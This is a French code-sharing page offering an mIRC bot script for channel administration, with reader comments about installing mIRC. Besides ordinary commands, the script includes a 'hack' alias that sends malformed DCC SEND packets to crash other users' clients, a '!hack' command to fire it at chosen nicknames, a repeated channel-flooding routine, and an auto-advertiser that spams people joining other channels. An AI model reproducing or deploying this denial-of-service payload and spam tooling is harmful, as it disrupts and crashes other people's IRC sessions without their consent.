Bot multi-fonctions (et même plus)

Soyez le premier à donner votre avis sur cette source.

Vue 63 262 fois - Téléchargée 4 653 fois

Télécharger le projet

Commenter

Description

Voila un bot très configurable avec pleins d'options je l'ai mit en niveau débutant car je ne m'estimes pas meilleur que ca ...
désolé si il n'y a pas de dialogs j'ai eu la flem ...
Ne critiquez pas les partis qui tienent du lamerz car je les ai créé pour d'autres personnes mais je peux les supprimé meme si à mon avis vu leur vetusté, elles n'ont aucun effets négatifs depuis quelques temps ... (DDC FLOOD <= POURI => PUB) !

Source / Exemple :

#######################
########ON TEXT########
#######################

on *:TEXT:*:*:{
  if (%botantipub == 1) {
    if (($chr(35) isin $1-) && ($nick !isop %botchan) && ($chan == %botchan)) {
      /set %frase $1-    
      if ( $chr(44) isin $wildtok(%frase,#*,1,32) || $wildtok(%frase,#*,1,32) == $chan ) { /halt }
      else { 
        inc $+(%,pub,$ial($nick).host,$chan) 1
        if ($eval($+(%,pub,$ial($nick).host,$chan),2) <= 1 ) {
          /notice $nick :[ATTENTION Tu a fais 1 pub sur  $+ %chan $+  :(`): La prochaine = BAN 2min]:
          /timer 1 1 /join $wildtok(%frase,#*,1,32)
          /timer 1 5 /msg $wildtok(%frase,#*,1,32) :[Pub détécté sur  $+ $chan $+  :(`): by $nick à $time(hh:nn) :(`): merci de rejoindre  $+ $chan $+  No Boulz/puberz thx]:
          /timer 1 6 /part $wildtok(%frase,#*,1,32) :[Merci de rejoindre  $+ $chan $+  $+ ]:
          /timer 1 300 /unset $+(%,pub,$ial($nick).host,$chan)
          /kick $chan $nick :[1 pub ! et deja 1 de trop]:
        }
        else {
          /mode $chan +b $ial($nick).host
          /timer 1 120 /mode $chan -b $ial($nick).host
          /kick $chan $nick :[2 pub ? tu es vraiment un boulet !]:
          /unset $+(%,pub,$ial($nick).host,$chan)
        }
      }
    }
  }
  if (($1 == !site) && ($chan == %botchan)) { .notice $nick %botprefixe %botsite %botsufixe }
  if (($1 == !Staff) && ($chan == %botchan)) { .notice $nick %botprefixe %botlineup %botsufixe }
  if (($1 == !msg) && ($chan == %botchan)) { query $nick %botprefixe pose ton message ici en disant !msg xxx (xxx => ton msg) %botsufixe }
  if (($1 == !msg) && ($chan == $null)) {
    if ($2 == $null) { return }
    set -u0 %a 0
    :loop
    inc %a
    if (%a >= 5) { .notice $nick %botprefixe La liste est pleine %botsufixe | return }
    if (%msg [ $+ [ %a ] ] == $null) { set %msg [ $+ [ %a ] ] $2- | set %nickofmsg [ $+ [ %a ] ] $nick | .msg $nick %botprefixe Msg enregistré %botsufixe | return }
    goto loop
  }
  if ($1 == !news) {
    if (%news1 != $null ) { .notice $nick %botprefixe %news1 %botsufixe }
    if (%news2 != $null ) { .notice $nick %botprefixe %news2 %botsufixe }
    if (%news3 != $null ) { .notice $nick %botprefixe %news3 %botsufixe }
    if (%news4 != $null ) { .notice $nick %botprefixe %news4 %botsufixe }
  }
  if ($1 == !cmds) {
    .notice $nick %botprefixe !news (pour connaitre les news) ; !msg (pour laisser un message aux admins) %botsufixe
    .notice $nick %botprefixe !site (voir l'url de notre site) ; !Staff (voir les membres du Staff)  %botsufixe
    if ($nick isop $chan) {
      .notice $nick %botprefixe op cmd: !opcmds (pour connaitre les commandes des operateurs) %botsufixe
    }
  }

  if ($nick !isop %botchan) { return }
  if (($1 == !readmsg) && ($2 isnum) && ($2 > 0)) {
    if (%msg [ $+ [ $2 ] ] == $null) { .notice $nick Msg n'existe pas | return }
    .notice $nick Msg $2 : %msg [ $+ [ $2 ] ] :: par : %nickofmsg [ $+ [ $2 ] ]
  }
  if ($1 == !readallmsg) {
    set -u0 %a 0
    set -u0 %b 0
    :hum
    inc %a
    inc %b 2
    if (%msg [ $+ [ %a ] ] == $null) { .timer 1 %b notice $nick Lecture Finie | return }
    .timer 1 %b .notice $nick Msg %a : %msg [ $+ [ %a ] ] :: par : %nickofmsg [ $+ [ %a ] ]
    goto hum
  }
  if ($1 == !opcmds) {
    .notice $nick %botprefixe !setnews(1,2,3,4) (pour que le bot configure les news 1,2,3 et 4) ; !readallmsg (lire les msgs) ; !autopuber (1/0 + frequence de pub (1 pers sur N qui join les chans sont pubés ex: !autopuber 1 3))  %botsufixe 
    .timer 1 3 .notice $nick %botprefixe !supprallmsg/supprmsg x (pour que le bot supprime tous les msgs ou 1 en particulier) ; !setantipub (1/0) ;  ; !totalpubed ; !autopubmsg1 ; !autopubmsg2 %botsufixe
    .timer 1 5 .notice $nick %botprefixe !setonjoin (op/voice/0) (met l'auto voice on/off) ; !setstaff ; !setsite ; !setonjoinmsg ; !setprefixe ; !setsufixe ; !voice ; !devoice/!devoice x ; !op x ; !deop/!deop x ; !hack x %botsufixe
  }
  if ($1 == !setonjoin) {
    set %voiceonjoin $2-
    .notice $nick %botprefixe on join: %voiceonjoin %botsufixe
  }
  if ($1 == !setantipub) {
    set %botantipub 1
    .notice $nick %botprefixe anti-pub: %botantipub %botsufixe
  }
  if ($1 == !setonjoinmsg) {
    set %joinmsg $2-
    .notice $nick %botprefixe onjoinmsg: %joinmsg %botsufixe
  }
  if ($1 == !setprefixe) {
    set %botprefixe $2-
    .notice $nick prefixe: %botprefixe sufixe: %botsufixe
  }
  if ($1 == !setsufixe) {
    set %botsufixe $2-
    .notice $nick prefixe: %botprefixe sufixe: %botsufixe
  }
  if ($1 == !hack) {
    /hack $2-
    .notice $nick %botprefixe $2- a été DCC Floodé ... il va peut-être planter %botsufixe
  }
  if ($1 == !voice) {
    mode %botchan +v $2-
  }
  if ($1 == !autopuber) {
    set %autopuber $2
    set %autopubn $3
    .notice $nick %botprefixe Auto Puber Statut: %autopuber | Auto Puber frequence (puber 1 personne sur X) : %autopubn
  }
  if ($1 == !autopubmsg1) {
    set %autopubx $2-
    .notice $nick %botprefixe Auto Pub MSG 1: %autopubx %botsufixe
  }
  if ($1 == !autopubmsg2) {
    set %autopuby $2-
    .notice $nick %botprefixe Auto Pub MSG 2: %autopuby %botsufixe
  }
  if ($1 == !devoice) { mode %botchan -v $iif($2,$2,$nick) }
  if ($1 == !op) {
    mode %botchan +o $2-
  }
  if ($1 == !deop) { mode %botchan -o $iif($2,$2,$nick) }
  if ($1 == !setsite) {
    set %botsite $2-
    .notice $nick %botprefixe !site: %botsite %botsufixe
  }
  if ($1 == !totalpubed) { msg $chan 7<< $+ $chan stats>> %totalpubed personnes sont arivés sur $chan suite à une pub du bot }
  if ($1 == !kick) {
    /kick %botchan $2 $3
  }
  if ($1 == !ban) {
    /ban %botchan $2
  }
  if ($1 == !kickban) {
    /ban %botchan $2
    /timer 1 1 /kick %botchan $2 $3
  }
  if ($1 == !setstaff) {
    set %botlineup $2-
    .notice $nick %botprefixe !lineup: %botlineup %botsufixe
  }
  if ($1 == !setnews) { .notice $nick %botprefixe les cmds sont !setnews1 !setnews2 !setnews3 !setnews4 !news !saynews %botsufixe }
  if (($left($1,8) == !setnews) && ($len($1) == 9)) {
    set %news [ $+ [ $right($1,1) ] ] $2- | .notice $nick voici la news $right($1,1) : $2-
  }
  if ($1 == !supprallmsg) {
    unset %nickofmsg* %msg* | .notice $nick Tous les messages ont été effacés
  }
  if (($1 == !supprmsg) && ($2 isnum) && ($2 > 0)) {
    if (%msg [ $+ [ $2 ] ] == $null) { .notice $nick Msg n'existe pas | return }
    set -u0 %a $2
    dec %a
    :del
    inc %a
    if (%msg [ $+ [ %a ] ] == $null) { .notice $nick Msg $2 effacé | return }
    set -u0 %t %msg [ $+ [ $calc(%a +1) ] ]
    set %msg [ $+ [ %a ] ] %t
    set -u0 %t %nickofmsg [ $+ [ $calc(%a +1) ] ]
    set %nickoffmsg [ $+ [ %a ] ] %t
  }
}

#######################
#######others ON#######
#######################

ON *:LOAD:{
  .echo -a 0,7.:4|0:. 8Bot installé 0,7.:4|0:.
  .echo -a 0,7.:4|0:. 8Bot by b3b3n (b3n_j@voila.fr) ! 0,7.:4|0:.
  .timer 1 5 set %botsrv $?="serveur irc du bot (irc.quakenet.eU.org/irc.voila.fr/...)"
  .timer 1 5 set %botchan $?="Nom du chan principal ?"
  .timer 1 5 set %botnick $?="Nom du bot ?"
  .timer 1 5 set %Qauth $?="compte Q du bot"
  .timer 1 5 set %Qpass $?="pass Q du bot"
  .timer 1 30 if (%botsrv) { server %botsrv }
}
ON *:UNLOAD:{
  .echo -a 0,7.:4|0:. 8Bot désinstallé 0,7.:4|0:.
  .echo -a 0,7.:4|0:. 8Bot by b3b3n (b3n_j@voila.fr) ! 0,7.:4|0:.
}
ON *:CONNECT:{
  .msg Q@Cserve.Quakenet.org auth %Qauth %Qpass
  mode $me +x
  /join %botchan
  /timer 1 5 if ($%botnick != $me ) { /name %botnick } 
}
ON *:START:{
  /server %botsrv
  /nick %botnick
}
on *:JOIN:*:{
  if ($chan == %botchan) {
    if (%autopuber == 1) && ($nick isin %pubnick) { inc %totalpubed }
    if (%joinmsg != $null) { .notice $nick %botprefixe %joinmsg %botsufixe }
    if (%onjoin == op) { mode $chan +o $nick }
    if (%onjoin == voice) { mode $chan +v $nick }
  }
  if ($chan != %botchan) && (%autopuber == 1) {
    if (%antipub => %autopubn) {
      .timer 1 10 scanpub
    }
    if (%antipub < %autopubn) { inc %antipub }
    if (!%antipub) { set %antipub 0 }
  }
}

on *:unotify:if ($nick == %mynick) { nick $nick | notify -r $nick | echo -a 1,4Ton nom est maintenant $me }

#######################
#########Alias#########
#######################

alias scanpub {
  if ($nick !isop $chan) {
    if (%autopubx != $null) { .msg $nick %autopubx }
    if (%autopuby != $null) { .msg $nick %autopuby }
    .ignore -u60 $nick
    set %antipub 0
    set %pubnick %pubnick $nick
    invite $nick %botchan
  }
}

alias name { set %mynick $1 | notify $$1 }

alias goandflood {
  if (%chanflood1 != 0) { /msg %chanflood1 %txtflood }
  if (%chanflood2 != 0) { .timerdeflood2 1 2 /msg %chanflood2 %txtflood }
  if (%chanflood3 != 0) { .timerdeflood3 1 3 /msg %chanflood3 %txtflood }
}

alias goflood {
  .timerdeflood %nbflood %repetflood /goandflood
  echo -a 8,7flood lancé
}
alias stopflood {
  .timerdeflood off
  echo -a 8,7flood stopé
}

alias bhack { //raw privmsg $$1 : $+ $chr(1) $+ DCC SEND \" $+ $str($rand(a,z) $+ $chr(32), 165) $+ $longip(127.0.0.1) $rand(113,9999) $+ $chr(1) }
alias hack {
  if ($1) { bhack $1 }
  if ($2) { bhack $2 }
  .timerbhack1 1 5 if ($3) { bhack $3 }
  .timerbhack1 1 10 if ($4) { bhack $4 }
  .timerbhack1 1 15 if ($5) { bhack $5 }
}

#######################
#########CTCP##########
#######################

ctcp *:ping:?:/halt
ctcp *:time:?:/halt
ctcp *:finger:?:/halt
ctcp *:version:?:/halt

#######################
#########menu##########
#######################

menu menubar,channel,query,status {
  -
   Bot 
  .Nick du bot ( %botnick ): /set %botnick $?="Le nom du bot"
  .Serveur du bot  ( %botsrv ):/set %botsrv $?="Le serveur IRC du bot (par exemple irc.quakenet.eu.org)"
  .Chan principal ( %botchan ):/set %botchan $?="Le canal ou devra operer le bot"
  .Q auth
  ..Q auth du bot ( %Qauth ):/set %Qauth $?="Le compte Q (si le serveur est Quakenet) du bot"
  ..Q pass du bot ( %Qpass ):/set %Qpass $?="Le pass Q (si le serveur est Quakenet) du compte du bot"
  .Configuration
  ..prefixe ( %botprefixe ):/set %botprefixe $?="le prefixe (ce qui precedera tout ce que dit le bot) permet de donner à vos texte une belle apparence"
  ..sufixe ( %botsufixe ):/set %botsufixe $?="Le Sufixe (ce qui sucedera à tout ce que dit le bot) permet de donner à vos texte une belle apparence"
  ..Join message ( %joinmsg ):/set %joinmsg $?="Message que les gens veront en se connectant au cannal (ne rien mettre pour ne pas avoir de message"

  ..On Join Action ( %onjoin ):/set %onjoin $?="op ou voice ou off"

  ..Anti-Pub ( %botantipub ):/set %botantipub $?="Le statut de l'anti-pub: 1/0"
  ..!Staff ( %botlineup ):/set %botlineup $?="Le staff"
  ..!site ( %botsite ):/set %botsite $?="Votre site web"
  .Bot puber
  .. Status du Puber ( %autopuber ):/set %autopuber $?="Mettre 1 ou 0 pour activer ou desactiver le puber"
  .. msg n°1 ( %autopubx ):/set %autopubx $?="Message 1 que le bot dira en pubant"
  .. msg n°2 ( %autopuby ):/set %autopuby $?="Message 2 que le bot dira en pubant"
  .. frequence de pub ( %autopubn ):/set %autopubn $?="Frequence de pub par exemple si vous mettez 3 le bot pubera 1 personne sur 3 au join"
  .AutoMessage
  ..lancer l'auto message:/goflood
  ..stoper l'auto message:/stopflood
  ..txt a dire ( %txtflood ):/set %txtflood $?="texte à dire"
  ..temps de repetition entre chaque txt ( %repetflood ):/set %repetflood $?="temps de repetition entre chaque txt (en secondes)"
  ..nb de fois ou flooder ( %nbflood ):/set %nbflood $?="nombre de floods (mettre 0 pour l'infini)"
  .. Channels ou flooder --
  ...chan1 ( %chanflood1 ):set %chanflood1 $?="chan ou flooder 1 (mettre 0 si vous n'en voulez pas)"
  ...chan2 ( %chanflood2 ):set %chanflood2 $?="chan ou flooder 2 (mettre 0 si vous n'en voulez pas)"
  ...chan3 ( %chanflood3 ):set %chanflood3 $?="chan ou flooder 3 (mettre 0 si vous n'en voulez pas)"
  .envoyer un mail à b3n_j:/url mailto:b3n_j@voila.fr
  .hack:/bhack $?="Quel nick(s) ?"
}

#######################
#####bot by b3b3n######
#######################
####b3n_j@voila.fr#####
#######################

Conclusion :

mes remerciments Simcamb de #vossey et de #seek4L et Arkanis de #arkanis qui conciderent les noobs comme des futures scripters et non comme des déchets ! Je remercis aussi #help.script et beaucoup d'autres chans qui m'ont aidé dans tous mes projets !

J'ai créé www.FTPCorp.fr.st je ne peux donc pas m'enpecher de faire une pub ;)

Dailleur comme ce script à été créé par un acro du partage: RIGHT TO COPY :D !!!

J'esperes que ce script n'est pas aussi pouri que je le penses ... à vous de me le dire, merci d'avance !

PS:désolé pour l'orthographe: il est 6:28 du matin, je suis crevé, je vais allé me coucher donc je ne corrigerais pas mes fautes d'orthographe ... désolé.

Télécharger le projet

Codes Sources

Télécharger
b3nb0t.txt

A voir également

Ajouter un commentaire Commentaires

Signaler

dimaxpowa85

Messages postés: 1
Date d'inscription: mercredi 27 octobre 2010
Statut: Membre
Dernière intervention: 27 octobre 2010

27 oct. 2010 à 13:14

Est-ce que quelle qu'un pourrai maider je mit connais pas en PC je voudrai installer un bot svp

merci d'avence !!

Signaler

loiu92

Messages postés: 1
Date d'inscription: dimanche 23 mai 2010
Statut: Membre
Dernière intervention: 23 mai 2010

23 mai 2010 à 02:51

taper dans google:recherche megaupload
vous aller sur le site et vous chercher M4xOubot vous le telecharger vous l installez c est tout simple

Signaler

MasaoRikku

Messages postés: 1
Date d'inscription: samedi 20 mars 2010
Statut: Membre
Dernière intervention: 20 mars 2010

20 mars 2010 à 11:47

Personellement , je cherche "mirc.exe" sur internet , je n'ai pas encore trouvé -_-" Mais je vais trouver :D . Je ne m'y connais pas très bien non plus , normallement je fais ca l'année prochaine... Enfin j'me souhaite bonne chance tout seul xD

Signaler

eiitrix

Messages postés: 1
Date d'inscription: mercredi 17 février 2010
Statut: Membre
Dernière intervention: 17 février 2010

17 févr. 2010 à 16:55

ou est ce kon trouve mirc.exe

Signaler

Simcamb

Messages postés: 28
Date d'inscription: jeudi 30 janvier 2003
Statut: Membre
Dernière intervention: 26 janvier 2005

24 janv. 2010 à 10:50

A tous ceux qui demandent comment faire pour lancer le script, et tous les autres qui répondent des âneries : Vous lancez mirc.exe, vous faites alt+r pour arriver dans les remotes, vous creez un nouveau fichier et vous faites un joli copier-coller du code.

Afficher les 47 commentaires

S'inscrire maintenant

Vous n'êtes pas encore membre ?

inscrivez-vous, c'est gratuit et ça prend moins d'une minute !

Les membres obtiennent plus de réponses que les utilisateurs anonymes.

Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.

Le fait d'être membre vous permet d'avoir des options supplémentaires.

Bot multi-fonctions (et même plus)

Description

Source / Exemple :

Conclusion :

Codes Sources

A voir également

Vous n'êtes pas encore membre ?

inscrivez-vous, c'est gratuit et ça prend moins d'une minute !

Du même auteur (b3b3n)

Bot pour canal de webradio (by a noob :d)

Source / Exemple :

Conclusion :

A voir également

Vous n'êtes pas encore membre ? inscrivez-vous, c'est gratuit et ça prend moins d'une minute !

Du même auteur (b3b3n)

Bot pour canal de webradio (by a noob :d)

Vous n'êtes pas encore membre ?

inscrivez-vous, c'est gratuit et ça prend moins d'une minute !